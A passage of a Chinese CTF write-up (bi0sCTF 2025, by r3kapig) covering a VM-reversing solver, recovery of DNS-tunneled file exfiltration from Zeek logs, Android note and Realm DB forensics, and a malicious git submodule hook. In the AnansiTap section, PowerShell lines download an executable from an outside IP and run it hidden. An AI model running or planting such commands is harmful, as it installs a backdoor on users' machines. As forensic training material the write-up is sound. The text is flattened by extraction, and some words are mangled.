0x13[v16]globalflag[18] = 0x10[v16]globalflag[19] = 0x10[v16]v4 = what_global[85](0x0)what_global[0] = 4x = int(flag[28 : 32])[0x65656666]what_global[82] = (x + v4(0x0) + 0xdddddddd) mod 0xffffffffv4 = what_global[82](0x43434444)x = int(flag[24 : 28])[0x63636464]what_global[79] = 0x43434444 ^ 0x0 ^ xv4 = what_global[79](0x20202020)v16 = v4v4 = what_global[75](0x181c)v17[28] = globalflag[24]v17[29] = globalflag[25]v17[30] = globalflag[26]v17[31] = globalflag[27]globalflag[28] = v17[28]globalflag[29] = v17[29]globalflag[30] = v17[30]globalflag[31] = v17[31]globalflag[24] = 0x20[v16]globalflag[25] = 0x20[v16]globalflag[26] = 0x20[v16]globalflag[27] = 0x20[v16]v4 = what_global[71](0x0)what_global[0] = 4x = int(flag[28 : 32])[0x63636464]what_global[68] = (x + v4(0x0) + 0xdddddddd) mod 0xffffffffv4 = what_global[68](0x41414242)x = int(flag[24 : 28])[0x20202020]what_global[65] = 0x41414242 ^ 0x0 ^ xv4 = what_global[65](0x61616262)v16 = v4v4 = what_global[61](0x181c)v17[28] = globalflag[24]v17[29] = globalflag[25]v17[30] = globalflag[26]v17[31] = globalflag[27]globalflag[28] = v17[28]globalflag[29] = v17[29]globalflag[30] = v17[30]globalflag[31] = v17[31]globalflag[24] = 0x61[v16]globalflag[25] = 0x61[v16]globalflag[26] = 0x62[v16]globalflag[27] = 0x62[v16]v4 = what_global[57](0x0)what_global[0] = 8x = int(flag[8 : 16])[0x2a2a3737c5c5c7c7]what_global[54] = (x + v4(0x0) + 0xaaaaaaaaaaaaaaaa) mod 0xffffffffffffffffv4 = what_global[54](0xd4d4e1e270707271)x = int(flag[0 : 8])[0x36363737ecececec]what_global[51] = 0xd4d4e1e270707271 ^ 0x0 ^ xv4 = what_global[51](0xe2e2d6d59c9c9e9d)v16 = v4v4 = what_global[47](0x8)v17[8] = globalflag[0]v17[9] = globalflag[1]v17[10] = globalflag[2]v17[11] = globalflag[3]v17[12] = globalflag[4]v17[13] = globalflag[5]v17[14] = globalflag[6]v17[15] = globalflag[7]globalflag[8] = v17[8]globalflag[9] = v17[9]globalflag[10] = v17[10]globalflag[11] = v17[11]globalflag[12] = v17[12]globalflag[13] = v17[13]globalflag[14] = v17[14]globalflag[15] = v17[15]globalflag[0] = 0xe2[v16]globalflag[1] = 0xe2[v16]globalflag[2] = 0xd6[v16]globalflag[3] = 0xd5[v16]globalflag[4] = 0x9c[v16]globalflag[5] = 0x9c[v16]globalflag[6] = 0x9e[v16]globalflag[7] = 0x9d[v16]v4 = what_global[43](0x0)what_global[0] = 8x = int(flag[8 : 16])[0x36363737ecececec]what_global[40] = (x + v4(0x0) + 0xaaaaaaaaaaaaaaaa) mod 0xffffffffffffffffv4 = what_global[40](0xe0e0e1e297979796)x = int(flag[0 : 8])[0xe2e2d6d59c9c9e9d]what_global[37] = 0xe0e0e1e297979796 ^ 0x0 ^ xv4 = what_global[37](0x20237370b0b090b)v16 = v4v4 = what_global[33](0x8)v17[8] = globalflag[0]v17[9] = globalflag[1]v17[10] = globalflag[2]v17[11] = globalflag[3]v17[12] = globalflag[4]v17[13] = globalflag[5]v17[14] = globalflag[6]v17[15] = globalflag[7]globalflag[8] = v17[8]globalflag[9] = v17[9]globalflag[10] = v17[10]globalflag[11] = v17[11]globalflag[12] = v17[12]globalflag[13] = v17[13]globalflag[14] = v17[14]globalflag[15] = v17[15]globalflag[0] = 0x2[v16]globalflag[1] = 0x2[v16]globalflag[2] = 0x37[v16]globalflag[3] = 0x37[v16]globalflag[4] = 0xb[v16]globalflag[5] = 0xb[v16]globalflag[6] = 0x9[v16]globalflag[7] = 0xb[v16]v4 = what_global[29](0x0)what_global[0] = 8x = int(flag[24 : 32])[0x6161626220202020]what_global[26] = (x + v4(0x0) + 0xccccccccccccccc) mod 0xffffffffffffffffv4 = what_global[26](0x6e2e2f2eecececec)x = int(flag[16 : 24])[0x1313101016161616]what_global[23] = 0x6e2e2f2eecececec ^ 0x0 ^ xv4 = what_global[23](0x7d3d3f3efafafafa)v16 = v4v4 = what_global[19](0x1018)v17[24] = globalflag[16]v17[25] = globalflag[17]v17[26] = globalflag[18]v17[27] = globalflag[19]v17[28] = globalflag[20]v17[29] = globalflag[21]v17[30] = globalflag[22]v17[31] = globalflag[23]globalflag[24] = v17[24]globalflag[25] = v17[25]globalflag[26] = v17[26]globalflag[27] = v17[27]globalflag[28] = v17[28]globalflag[29] = v17[29]globalflag[30] = v17[30]globalflag[31] = v17[31]globalflag[16] = 0x7d[v16]globalflag[17] = 0x3d[v16]globalflag[18] = 0x3f[v16]globalflag[19] = 0x3e[v16]globalflag[20] = 0xfa[v16]globalflag[21] = 0xfa[v16]globalflag[22] = 0xfa[v16]globalflag[23] = 0xfa[v16]v4 = what_global[15](0x0)what_global[0] = 8x = int(flag[24 : 32])[0x1313101016161616]what_global[12] = (x + v4(0x0) + 0xccccccccccccccc) mod 0xffffffffffffffffv4 = what_global[12](0x1fdfdcdce2e2e2e2)x = int(flag[16 : 24])[0x7d3d3f3efafafafa]what_global[9] = 0x1fdfdcdce2e2e2e2 ^ 0x0 ^ xv4 = what_global[9](0x62e2e3e218181818)v16 = v4v4 = what_global[5](0x1018)v17[24] = globalflag[16]v17[25] = globalflag[17]v17[26] = globalflag[18]v17[27] = globalflag[19]v17[28] = globalflag[20]v17[29] = globalflag[21]v17[30] = globalflag[22]v17[31] = globalflag[23]globalflag[24] = v17[24]globalflag[25] = v17[25]globalflag[26] = v17[26]globalflag[27] = v17[27]globalflag[28] = v17[28]globalflag[29] = v17[29]globalflag[30] = v17[30]globalflag[31] = v17[31]globalflag[16] = 0x62[v16]globalflag[17] = 0xe2[v16]globalflag[18] = 0xe3[v16]globalflag[19] = 0xe2[v16]globalflag[20] = 0x18[v16]globalflag[21] = 0x18[v16]globalflag[22] = 0x18[v16]globalflag[23] = 0x18[v16]0x2,0x2,0x37,0x37,0xb,0xb,0x9,0xb,0xe2,0xe2,0xd6,0xd5,0x9c,0x9c,0x9e,0x9d,0x62,0xe2,0xe3,0xe2,0x18,0x18,0x18,0x18,0x7d,0x3d,0x3f,0x3e,0xfa,0xfa,0xfa,0xfa,


通过逆向可以解出虚拟机:


from structimportpack, unpackdefb2Q(m):    return unpack('>Q', m )[0]def b2I(m):    return unpack('>I', m )[0]def I2b(m):    return pack('>I', m&0xffffffff)def Q2b(m):    return pack(">Q",m & 0xffffffffffffffff)def abs8(m):    if m< 0:        return0x10000000000000000 + m -1    return mdef abs4(m):    if m < 0:        return0x100000000 + m -1    return mcip = bytes([0x000000000000005C, 0x000000000000007F, 0x00000000000000CA, 0x00000000000000BE, 0x0000000000000004, 0x00000000000000FA, 0x00000000000000A0, 0x00000000000000DD, 0x00000000000000B2, 0x000000000000007A, 0x00000000000000AF, 0x00000000000000DB, 0x000000000000005E, 0x00000000000000A1, 0x0000000000000052, 0x000000000000002F, 0x0000000000000071, 0x00000000000000F2, 0x0000000000000091, 0x0000000000000003, 0x00000000000000C9, 0x00000000000000CC, 0x00000000000000E2, 0x000000000000005A, 0x000000000000004F, 0x000000000000000F, 0x0000000000000049, 0x0000000000000042, 0x0000000000000035, 0x0000000000000032, 0x000000000000003E, 0x000000000000004C])cip = bytearray(cip)# cip = bytearray([0x2,0x2,0x37,0x37,0xb,0xb,0x9,0xb,0xe2,0xe2,0xd6,0xd5,0x9c,0x9c,0x9e,0x9d,0x62,0xe2,0xe3,0xe2,0x18,0x18,0x18,0x18,0x7d,0x3d,0x3f,0x3e,0xfa,0xfa,0xfa,0xfa,])y = b2Q(cip[16:24])x = b2Q(cip[24:32])z = cip[16:24] = Q2b(abs8((y ^ x ) - 0xccccccccccccccc))cip[24:32] = Q2b(abs8(b2Q(z) ^ x ) - 0xccccccccccccccc)y = b2Q(cip[0:8])x = b2Q(cip[8:16])z = cip[0:8] = Q2b(abs8((y ^ x ) - 0xaaaaaaaaaaaaaaaa))cip[8:16] = Q2b(abs8((b2Q(z) ^ x ) - 0xaaaaaaaaaaaaaaaa))y = b2I(cip[24:28])x = b2I(cip[28:32])z = cip[24:28] = I2b(abs4((y ^ x ) - 0xdddddddd))cip[28:32] = I2b(abs4((b2I(z) ^ x ) - 0xdddddddd))y = b2I(cip[16:20])x = b2I(cip[20:24])z = cip[16:20] = I2b(abs4((y ^ x ) - 0xcccccccc))cip[20:24] = I2b(abs4((b2I(z) ^ x ) - 0xcccccccc))y = b2I(cip[8:12])x = b2I(cip[12:16])z = cip[8:12] = I2b(abs4((y ^ x) - 0xbbbbbbbb))cip[12:16] = I2b(abs4((b2I(z) ^ x ) - 0xbbbbbbbb))y = b2I(cip[0:4])x = b2I(cip[4:8])z = cip[0:4] = I2b(abs4((y ^ x ) - 0xaaaaaaaa))cip[4:8] = I2b(abs4((b2I(z) ^ x ) - 0xaaaaaaaa))print(cip)


拿到 这32个字节:

BAHHCEUVDTINFuk7567r87kkjd3rtyyj


下面就是正常的解密blowfish即可:

https://github.com/Rupan/blowfish


/*blowfish_test.c:  Test file for blowfish.c
Copyright (C) 1997 by Paul KocherThis library is free software; you can redistribute it and/ormodify it under the terms of the GNU Lesser General PublicLicense as published by the Free Software Foundation; eitherversion 2.1 of the License, or (at your option) any later version.This library is distributed in the hope that it will be useful,but WITHOUT ANY WARRANTY; without even the implied warranty ofMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNULesser General Public License for more details.You should have received a copy of the GNU Lesser General PublicLicense along with this library; if not, write to the Free SoftwareFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA*/#include<stdio.h>#include"blowfish.h"voidmain(void){  uint32_t L = 0xD6E782BB, R = 0x665F6447;  BLOWFISH_CTX ctx;  Blowfish_Init(&ctx, (uint8_t*)"BAHHCEUV"8);  Blowfish_Decrypt(&ctx, &L, &R);  printf("0x%x -- 0x%xn", L, R);  //BAHHCEUV DTINFuk7 567r87kk jd3rtyyj  //""DTIOFuk7 567s87kmjd3styyl""  L = 0xCE51F72E;  R = 0x281218CD;  Blowfish_Init(&ctx, (uint8_t*)"DTINFuk7"8);  Blowfish_Decrypt(&ctx, &L, &R);  printf("0x%x -- 0x%xn", L, R);  L = 0xA39E5F8C;  R = 0x5F781C78;  Blowfish_Init(&ctx, (uint8_t*)"567r87kk"8);  Blowfish_Decrypt(&ctx, &L, &R);  printf("0x%x -- 0x%xn", L, R);  L = 0xAD4DD79B;  R = 0x78E0AE72;  Blowfish_Init(&ctx, (uint8_t*)"jd3rtyyj"8);  Blowfish_Decrypt(&ctx, &L, &R);  printf("0x%x -- 0x%xn", L, R);  printf("111n");}//0x676f6473 -- 0x72756561//0x646e6172 -- 0x735f6d6f//0x66667574 -- 0x6a726577//0x726f6567 -- 0x79666468


拿到flag


最后,整合flag:

bi0sctf{aBAHHCEUVDTINFuk7567r87kkjd3rtyyjsdogaeurrandom_stuffwerjgeorhdfy}





Forensics


Bombardio Exfilrino


我们获得了两个.E01格式镜像文件,这种文件通常是由EnCase Imager制作的磁盘镜像。


对于磁盘镜像,我们首先尝试使用FTK Imager挂载,这里Partition字段提示我们这并不是一个简单的文件系统,而是一个`Windows Storage Spaces partition`。



bi0sCTF 2025 Writeup by r3kapig


如果尝试直接在Windows系统的资源管理器中打开,会提示我们格式化驱动器以使用它。


bi0sCTF 2025 Writeup by r3kapig


显然,我们不应该格式化驱动器,因为我们的目标是从中恢复数据。


这种行为可能有两种可能性(我能想到):

   1. .E01文件已损坏,我们需要在挂载之前对其进行修复。

   2. Windows Storage Spaces partition文件系统无法直接被识别并挂载。


快速的搜索,Storage Pool是Windows中的一个功能,它允许将多个物理磁盘分组为单个逻辑池存储池,这是一种类似RAID的文件存储方式。


这里我们使用了ufs-explorer-pro进行文件系统的恢复,同时挂载两个镜像文件后开启软件就可以自动重组MSS并识别出其中的NTFS文件系统。


bi0sCTF 2025 Writeup by r3kapig


打开文件系统目录,我们立刻获取到了和本次题目相关的四个文件:

1. clients.csv <- 客户名单

2. conv.mp3 <- 一通对话

3. file.zip <- file.log,网络流量日志

4. sighted.zip <- sighted.bin文件


bi0sCTF 2025 Writeup by r3kapig


Question 1: What tag and ID was given to the operation during the conversation? 


这里的conversation恰好对应conv.mp3,对话内容如下:


A: Yo. You good?B: Yeah. Bird’s ready. Light load tonight.
A: She gonna fly clean?B: Trimmed her good. Just three eggs tucked in tight. No way we risk a crash tonight. Exactly.
A: New tag?B: Yeah. Delta, Four, Charlie, Seven. Don’t screw that up.
A: Delta, Four, Charlie, Seven. Locked. And the ID?B: Silverhawk Underscore Eighty-eight. Repeat it back to me.
A: Silverhawk Underscore Eighty-eight. Yeah, how I know it’s ours?B: Blink pattern. Twice quick, once slow. Don’t screw it. No second chances.
A: Twice quick, once slow. Got it.B: Clocks tight, man. Thirty minutes, tops. Maybe less. Heats crawling everywhere.
A: Copy that. Any fallback?B: No fallback. No second chances.
A: Copy. Stay low. Stay loose.B: Always.


因此,该问题的答案为DELTA4CHARLIE7-SILVERHAWK_88


Question 2: What is the name of the 77th client in their client list?


直接打开`client.csv`,找到SR为77的那一行即可


bi0sCTF 2025 Writeup by r3kapig


Flag 2: Felisaas


Question 3: What are the coordinates of the second drop-point for the mission?


读取sighted.bin字节,我们看到一些提到经度和纬度的十六进制数据。


bi0sCTF 2025 Writeup by r3kapig


搜索在sighted.bin字节中看到的标签,我们到Ardupilot的日志消息文档,并且通过一些搜索,我们可以发现Ardupilot支持Mavlink协议。


然后,我们可以使用tools/mavmission.py使用pymavlink将任务日志转存下来。


PS C:UsersvowDesktoppymavlink-2.4.47> python .mavmission.py .sighted.bin --output dump.txtSaved18 waypoints to dump.txt


为了了解日志的含义,我们可以参考Mavlink的文件格式文档,该文档显示该格式。


QGC WPL <VERSION><INDEX><CURRENT WP><COORD FRAME><COMMAND><PARAM1><PARAM2><PARAM3><PARAM4><PARAM5/X/LATITUDE><PARAM6/Y/LONGITUDE><PARAM7/Z/ALTITUDE><AUTOCONTINUE>
QGC WPL 1100  0  0  16  0.000000  0.000000  0.000000  0.000000  44.728114  7.421710  267.529999  11  0  3  22  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  30.000000  12  0  3  21  0.000000  0.000000  0.000000  1.000000  44.734763  7.427600  0.000000  13  0  0  218  41.000000  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  14  0  0  93  30.000000  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  15  0  0  218  41.000000  2.000000  0.000000  0.000000  0.000000  0.000000  0.000000  16  0  3  22  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  30.000000  17  0  3  21  0.000000  0.000000  0.000000  1.000000  44.736415  7.433066  0.000000  18  0  0  218  41.000000  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  19  0  0  93  30.000000  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  110  0  0  218  41.000000  2.000000  0.000000  0.000000  0.000000  0.000000  0.000000  111  0  3  22  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  30.000000  112  0  3  21  0.000000  0.000000  0.000000  1.000000  44.727088  7.431419  0.000000  113  0  0  218  41.000000  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  114  0  0  93  30.000000  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  115  0  0  218  41.000000  2.000000  0.000000  0.000000  0.000000  0.000000  0.000000  116  0  3  22  0.000000  0.000000  0.000000  0.000000  0.000000  0.000000  30.000000  117  0  3  21  0.000000  0.000000  0.000000  1.000000  44.728122  7.421734  0.000000  1


根据dump.txt中的<coord框架>对数据进行排序,我们可以看到第二个下降点为44.734763,7.427600。


Flag 3:44.73,7.43


Question 4: What is the Manifest ID of the cargo?


sighted.bin 文件似乎不包含有关清单ID的任何信息,也不包含以前的文件,因此我们必须在file.zip中查找它,其中包含一个file.log


flie.log包含一个被动的开源网络流量分析仪Zeek的49,077个日志。


使用grep作为manifest, cargo等关键字没有产生任何有用的结果,并且由于Zeek没有解析器,我们将不得不手动分析和过滤日志。


步骤0:过滤工具


为了使我们的搜索更轻松,我将使用Cyberchef的过滤功能,这不仅允许我们根据关键字过滤日志,还可以支持反向条件过滤,以及我们自己的Python Parser来帮助我们从日志中提取某些信息。


bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig

步骤1:_ path:“ loaded_scripts”


我们可以轻松地看到_ Pather字段中有不同值的日志。滚动到文件底部,我们注意到最后一个日志都包含_ path:“ ladeed_scripts”,这应该只是Zeek的脚本路径,可能与我们的搜索无关。


...{_path:"loaded_scripts",name:"/usr/local/zeek/share/zeek/site/local.zeek"}{_path:"loaded_scripts",name:"/usr/local/zeek/share/zeek/base/init-bare.zeek"}{_path:"loaded_scripts",name:"  /usr/local/zeek/share/zeek/base/utils/dir.zeek"}{_path:"loaded_scripts",name:"  /usr/local/zeek/share/zeek/base/utils/time.zeek"}{_path:"loaded_scripts",name:"  /usr/local/zeek/share/zeek/base/utils/urls.zeek"}{_path:"loaded_scripts",name:"/usr/local/zeek/share/zeek/base/init-default.zeek"}{_path:"loaded_scripts",name:"  /usr/local/zeek/share/zeek/base/utils/addrs.zeek"}...


我们可以过滤所有包含_path的日志:“ ladeed_scripts”。

剩余的日志数:48,564


步骤2:_ Path:“文件”


当我们谈论cargo时,我们通常会考虑文件,因此让我们检查所有包含_ path的日志:“文件”。


但是,Zeek的file.log不会捕获传输的文件数据,只有一些有关文件的元数据,并且在日志中似乎没有任何可疑文件,因此我们可以过滤_path:“文件”。

剩余的日志数:45,485


步骤3:_ Path:“ http”


也许设备用户访问了一些网站,其中包含货物文件的路径。 F0rest写了一个解析器,其中列出了所有主机以及他们访问的次数。


426host:"httpbin.org",uri:"/delay/2",referrer398host:"httpbin.org",uri:"/delay/1",referrer388host:"httpbin.org",uri:"/delay/3",referrer306host:"httpstat.us",uri:"/200",referrer290host:"neverssl.com",uri:"/",referrer260host:"detectportal.firefox.com",uri:"/",referrer250host:"httpforever.com",uri:"/",referrer200host:"www.wikipedia.org",uri:"/",referrer200host:"speedtest.tele2.net",uri:"/1MB.zip",referrer100host:"testmy.net",uri:"/",referrer100host:"news.ycombinator.com",uri:"/",referrer7   host:"infinitumhub.com",uri:"/",referrer7   host:"icanhazip.com",uri:"/",referrer7   host:"httpbin.org",uri:"/",referrer6   host:"w3.org",uri:"/",referrer6   host:"deepmesh.org",uri:"/",referrer4   host:"neuronforge.io",uri:"/",referrer4   host:"info.cern.ch",uri:"/",referrer4   host:"1.1.1.1",uri:"/",referrer3   host:"zenithcore.com",uri:"/",referrer3   host:"cybernest.org",uri:"/",referrer3   host:"cipherloom.com",uri:"/",referrer3   host:"bluecircuit.net",uri:"/",referrer2   host:"syncrift.com",uri:"/",referrer2   host:"ifconfig.me",uri:"/",referrer1   host:"matrixlane.com",uri:"/",referrer1   host:"fusionglow.com",uri:"/",referrer1   host:"bytepulse.io",uri:"/",referrer


但是,这些网站似乎都不是恶意的,也没有包含与货物有关的任何信息。因此,_ path:“ http”可以加入我们的排除列表。


剩余的日志数:42,353


步骤4:_ Path:“ conn”


我们可以查看设备制作的所有TCP,UDP和ICMP连接,但是它们都没有任何特定的相交信息,因此我们也可以过滤_path:“ conn”也可以。


剩余的日志数:22,189


步骤5:_ Path:“ DNS”


要注意的另一件事是DNS隧道技术,因此,我们编写了另一个解析器,以列出该设备进行的所有独特的DNS查询。


import re
dns_query_list = []pattern = r'query:"([^"]+)"'
withopen("file.log"as file:  data = file.readlines()
for log in data:    matches = re.findall(pattern, log)    # Do not add empty matches    iflen(matches) > 0:        dns_query_list.extend(matches)
# Trick to remove duplicatesdns_query_list = list(set(dns_query_list))
# Write results to a filewithopen('dns_queries_parsed.txt''w'as f:    for line in dns_query_list:        f.write(f"{line}n")
...4ddf0120d4fd14904636203030303030206e200a30303030303133393036.203030303030206e200a30303030303134353237203030303030206e200a.30303030303134313932203030303030206e200a30303030303134313232.203030303030206e20.aerisxsecmercancia.comouzn6gfl.comcoreliant.netztfqfpm6.coma02e0120d41c6e904638fef9cfc4d758cb3589f1b401e545818171639e8d.80e2d0cb8ad2414adbe001ab8c7edcae7fc07a11088aa00a82f0b4fd37eb.79c59d278f2927b1f6caaa4ad68b244aed7dcafa9595eaf478bb15423ebc.f34f3553f7ac5c9e37.aerisxsecmercancia.comtheverge.comgialc1e3.comexample.org...


唔…? DNS查询似乎有一些很长的域,它们都与相同的域相连:Aerisxsecmercia.com。


如果我们尝试在DNS查询中解码十六进制数据,则其中似乎有某种数据。

bi0sCTF 2025 Writeup by r3kapig

似乎我们应该将重点放在包含Aerisxsecmercia.com的域。


剩余的日志数:1,066


步骤6:Aerisxsecmercia.com


通过解码包含AerisxSecmercia.com的DNS查询中的一些十六进制(尤其是较长的十六进制),我们可以找到以下数据片段:


599a0120d49033ae0a6361742046696e616c5f706c616e2e7064660a.aerisxsecmercancia.com -> Yš Ԑ3® cat Final_plan.pdf


因此,似乎正在通过DNS查询来删除一个.pdf文件,文件名是final_plan.pdf,那么我们的下一步将使用另一个解析器恢复final_plan.pdf。


实际上,十六进制数据是用9个启动字节(或18个十六进制字符)填充的,我们需要删除它们。


基于观察,.pdf文件数据仅在较长的查询中,因此我们可以过滤掉较短的查询。


import re
dns_hex_exfil_data = []pattern = r'query:"([^"]+)"'exfil_file_data = ""
withopen("file.log"as file:  data = file.readlines()
for log in data:  # Only process logs that contain 'dns' in the path  if'_path:"dns"'and'aerisxsecmercancia.com'in log:  # Again, get the hex data in DNS queries    temp_data = re.findall(pattern, log)    # We remove DNS queries that are shorter than a certain length (these usually contain commands instead of data)    iflen(temp_data[0]) > 90:      # The hex data has padding, so we need to remove it (9 bytes, 18 hex characters)      dns_hex_exfil_data.append(temp_data[0][18:])
# Combine the hex exfiltrated data into a single string, with processingfor data in dns_hex_exfil_data:  parsed_data = data.replace('aerisxsecmercancia.com''')  parsed_data = parsed_data.replace('.''')  exfil_file_data += parsed_data
# Decode the hex and write to filefile_data = bytes.fromhex(exfil_file_data)
# Write results to a filewithopen('final_plan.pdf''wb'as f:    f.write(file_data)


最后,我们将获得一个可查看的.pdf文件,其中包含以下内容:


bi0sCTF 2025 Writeup by r3kapig


Flag 4:AXZ-BL-571


Question 5: What is the Doc ID of the Final Mission Plan?


好吧,现在很明显,不是吗?


Flag 5:Aerox-MB-KRM-8251


Question 6: What is the md5 hash of the exfiltrated data? 


如果计算出我们解析的final_plan.pdf的MD5哈希,则将获得A1038793AD04230100D3E84DAB54194F作为MD5哈希。


但是,这是不正确的。


事实证明,如果将final_plan.pdf文件中的字节与另一个随机.pdf文件进行比较,您会注意到,在文件末尾,final_plan.pdf缺少0x0a字节。


为了获得正确的哈希,我们必须在final_plan.pdf文件的末尾应用一个额外的0x0a字节。


Flag 6:1560D718C94EA09F1860CD270933FC24

Question 7: What is the MITRE ATT&CK method id which enabled data exfiltration?


回想一下问题4,当我们解码其中一个DNS查询时,我们得到了以下结果。


Yš Ԑ3® cat Final_plan.pdf


注意解码数据中的cat一词,这显然是一个unix命令。


由此,我们可以确定这不仅是数据剥落技术,而且可能是使用DNS的Command and Control (C2)技术。


快速查找MITER ATT&CK网站,我们可以轻松找到正确的方法ID。


Flag 7:T1071.004


最终旗帜


当然,这是最后的旗帜。

bi0sctf {N07_4_G4M3_M0M_17S_F0R3NS1CS_92MAJ420}


ഒണപ്പൂക്കളം


安卓取证,flag包含两个问题:

1:flagPart1 -> from my forgotten notes

2:flagPart2 -> string which was modified and then deleted from the realm db


第一个问题需要找到被遗忘的笔记内容,先来到data

app下查看有没有可疑的app,接着就发现了包名分别叫com.sp3p3x.notesapp和com.example.accessmydata的两个app,很明显前者是一个笔记app,先对他进行逆向分析


很明显是flutter开发的,但在逆之前,我们注意到他有使用python库


bi0sCTF 2025 Writeup by r3kapig


查看一下assets 目录,果不其然,在assetsflutter_assetsappapp.zip 下发现了一个main.py,大致逻辑就是用rc4算法加密笔记内容,然后存储在FLET_APP_STORAGE_DATA 中,并将key保存到client_storage


import flet as ftimport datetime, random, os, string
def key_scheduling(key):    sched = [i for i in range(0256)]    i = 0    for j in range(0256):        i = (i + sched[j] + key[j % len(key)]) % 256        tmp = sched[j]        sched[j] = sched[i]        sched[i] = tmp    return scheddef stream_generation(sched):    stream = []    i = 0    j = 0    while True:        i = (1 + i) % 256        j = (sched[i] + j) % 256        tmp = sched[j]        sched[j] = sched[i]        sched[i] = tmp        yield sched[(sched[i] + sched[j]) % 256]def encrypt(text, key):    text = [ord(char) forchar in text]    key = [ord(char) forchar in key]    sched = key_scheduling(key)    key_stream = stream_generation(sched)    ciphertext = ""    forchar in text:        enc = str(hex(char ^ next(key_stream))).lower()        ciphertext += enc    return ciphertextdef storeData(page, content):    app_data_path = os.getenv("FLET_APP_STORAGE_DATA")    fileName = f"{datetime.datetime.now().strftime("%d%m%Y%H%M%S%f")}"    my_file_path = os.path.join(app_data_path, fileName)    key = "".join(        random.choice(string.ascii_letters + string.digits) for _ in range(16)    )    encText = encrypt(content, key)    page.client_storage.set(fileName, key)    with open(my_file_path, "w") as f:        f.write(encText)    page.open(ft.SnackBar(ft.Text(f"File saved to App Data Storage!")))def main(page: ft.Page):    def saveNote(e):        data = inputBox.value        if data != "":            storeData(page, data)        else:            page.open(ft.SnackBar(ft.Text("Empty content!")))    appBar = ft.AppBar(title=ft.Text("Notes App"))    inputBox = ft.TextField(hint_text="Enter some text...", multiline=True, min_lines=3)    page.appbar = appBar    page.add(inputBox)    page.add(        ft.ElevatedButton(text="Save Note", on_click=saveNote, style=ft.ButtonStyle())    )ft.app(main)


查阅Flet官方文档,得知在Android上client_storage 的数据是保存在SharedPreferences中的


bi0sCTF 2025 Writeup by r3kapig


到datausercom.sp3p3x.notesappshared_prefs 目录下,查看FlutterSharedPreferences.xml 里面保存的就是rc4的key


<?xml version='1.0' encoding='utf-8' standalone='yes' ?><map>    <stringname="flutter.15052025175732777833">&quot;1OmIyq5YT50YlWB0&quot;</string>    <stringname="flutter.15052025175747121993">&quot;oIdeaSz9iySlAmKJ&quot;</string>    <stringname="flutter.15052025175936114230">&quot;YKnQqnrzfTIM9HLu&quot;</string>    <stringname="flutter.15052025180002742685">&quot;RhjZrO2JGKQLamST&quot;</string>    <stringname="flutter.15052025175724299736">&quot;SkZFksurgEq3Tdhe&quot;</string>    <stringname="flutter.15052025175950593733">&quot;M52JUgdj9r6kkVg4&quot;</string>    <stringname="flutter.15052025175944264611">&quot;lunMORQQjKhX9u5H&quot;</string></map>


同时查看datausercom.sp3p3x.notesapp

app_flutter 下的就是被加密的数据,将其一个个解密就可以得到flag part1:w311_7h47_p4r7_w45_345y


接着第二问则要求我们找到 “被修改然后从领域数据库中删除的字符串”,realm db是什么?上网查询可以得知realm db一般是保存为一个后缀为.realm的文件,但是搜索后并没有发现对应文件


回到前面发现的另一个名叫com.example.accessmydata的app,结合题目描述中的”can you also access my data and figure out what was deleted?”,好好好原来access my data是这么个意思,同样还是一个flutter app,用blutter恢复符号之后对其进行逆向


在blutter生成的pp.txt中可以发现realm db的踪迹,原来是远程下载下来后解密并加载的


bi0sCTF 2025 Writeup by r3kapig


解密算法大概就是一个AES+base64,但不清楚为什么拿到key和iv后一直无法解密,为了节省时间,所以我这里直接选择运行时将内存中解密好的db直接dump下来了


bi0sCTF 2025 Writeup by r3kapig


拿到realm db后,现在需要找个合适的工具打开和分析他,我们找到了一篇很好的文章https://github.com/DFC-2024-LuckyVicky/writeup/blob/main/writeup/[LuckyVicky][303].pdf


可以使用Realm Studio来打开realm db文件,但是最新版本已经不支持该版本格式的db了,按照文章所说的下载3.10版本是最后一个支持的版本


打开db后可以看到里面一大片的UUID,RealmTestClass0 缺少一条数据应该就是需要恢复的内容


bi0sCTF 2025 Writeup by r3kapig


接下来按照文章当中讲的,使用https://github.com/hyuunnn/realm_recover 来恢复数据,但该工具并不能完成所有的工作,剩下一小部分仍需要手动完成


但我们发现了一个神奇的地方,题目的realm db和文章中所使用的demo.realm中的数据竟然几乎完全一致,那么我们猜测这个db可能是直接使用了demo.realm 修改而来,为了验证一下我们的猜测,我们来diff一下两个db使用realm recover生成的scan_all_objects.txt


果不其然,在diff的结果中发现了一条可疑的修改


bi0sCTF 2025 Writeup by r3kapig


最终flag:

 bi0sctf{w311_7h47_p4r7_w45_345y_5P0BF5BC-5AA1-4790-A05F-A2RDCBALDB49}


AnansiTap


通过FTK Imager挂载ad1文件我们可以注意到.git目录下的config文件有如下一段比较奇怪的内容


bi0sCTF 2025 Writeup by r3kapig
[core]  repositoryformatversion = 0  filemode = false  bare = false  logallrefupdates = true  ignorecase = true[submodule]  active = .[remote "origin"]  url = [email protected]:codeberg529/OpenWallet.git  fetch = +refs/heads/*:refs/remotes/origin/*[branch "master"]  remote = origin  merge = refs/heads/master[submodule "x/y"]  url = https://github.com/codeberg529/hooks.git


其引入了一个陌生的github仓库 https://github.com/codeberg529/hooks


https://github.com/codeberg529/hooks/blob/master/y/hooks/post-checkout#L7


通过调查这个恶意仓库可以知道其一个后门会从http://172.26.48.122:8080/magix.exe下载一个名为win.exe的后门并且存防于C:ProgramDataMicrosoftwin.exe 并且会执行这个后门


sleep5s powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri http://172.26.48.122:8080/magix.exe -OutFile 'C:ProgramDataMicrosoftwin.exe'"

sleep15spowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Start-Process 'C:ProgramDataMicrosoftwin.exe' -WindowStyle Hidden"


提取win.exe后进行分析,所有的winapi调用都被隐藏,在TLS回调函数中解密了一个奇奇怪怪的字符串,接着调用一个函数,会导致程序崩溃,不太清楚为什么,我这里直接修改rip跳过该函数了


